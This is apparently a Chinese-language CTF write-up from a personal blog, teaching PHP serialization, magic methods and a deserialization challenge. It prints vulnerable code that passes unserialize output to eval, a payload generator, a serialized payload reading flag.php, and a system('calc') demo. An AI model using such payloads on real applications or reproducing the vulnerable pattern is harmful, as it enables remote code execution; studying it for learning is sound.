PHP反序列化-WriteUp
注意事项:阅读之前先要学会 php 的基础语法,面向对象的一些基础知识
什么是序列化和反序列化
- 序列化是将对象转换成可存储的字节序列的过程
- 反序列化是将字节序列恢复为对象
一个简单的实例
- 序列化 serialize 函数
<?php
class a{
var $name = "Lixiney"; // 内部变量
var $age = "18"; // 内部变量
}
$a = new a(); // new 一个对象
echo serialize($a); // 输出 序列化的字符串
?>

- 反序列化 unserialize 函数
<?php
$str = 'O:1:"a":2:{s:4:"name";s:7:"Lixiney";s:3:"age";s:2:"18";}'; //上一步操作中的序列化后的字符串
$a = unserialize($str); // 反序列化
echo var_dump($a); // var_dump() 查看变量类型
?>

什么是反序列化漏洞
序列化和反序列化本身没有什么问题,但是当 用户参数可控,而且后台错误的使用了一些危险函数的时候,就会出现安全问题
- 一些魔法函数
__construct() //类的构造函数,创建对象时触发
__destruct() //类的析构函数,对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
__set() //在给不可访问属性赋值时触发
__isset() //当对不可访问属性调用 isset() 或 empty() 时触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当尝试以调用函数的方式调用一个对象时触发
__sleep() //执行serialize()时,先会调用这个方法
__wakeup() //执行unserialize()时,先会调用这个方法
__toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
接下来我们来逐行解析一下 赛题的代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class a{
var $act;
function action(){
eval($this->act); // eval函数会将字符串当成php代码执行
}
}
$a=unserialize($_GET['flag']); //从get方式传入一个数据
$a->action(); // 执行了 action 函数
?>首先是 <?php ?> 这个是用来表示php语言的,php 脚本 以 <?php 开始 , 以 ?> 结束
highlight_file() 函数用来高亮显示代码
error_reporting(0) 表示清空本页的报错信息
eval 函数可以将字符串当作php代码执行
例如:
<?php
$str = "phpinfo();";
eval($str);
?>
既然 php 代码可以执行,那我们就可以执行一些危险的命令,如下
<?php
$str = "system('calc');"; // 执行系统命令 calc 是打开计算器
eval($str);
?>
根据这个原理就可以拿到 flag.php 中的 内容
下面这个代码用来生成 payload
<?php
class a{
var $act;
function action(){
eval($this->act);
}
}
$a = new a();
$a -> act = "highlight_file('flag.php');";
echo serialize($a);
?>
根据前文所写的 高亮显示代码的函数 可以查看 flag.php 中的内容
O:1:"a":1:{s:3:"act";s:27:"highlight_file('flag.php');";}
提交到 ?flag 拿到flag
PHP反序列化-WriteUp
https://blog.lixey.top/PHP反序列化-WriteUp/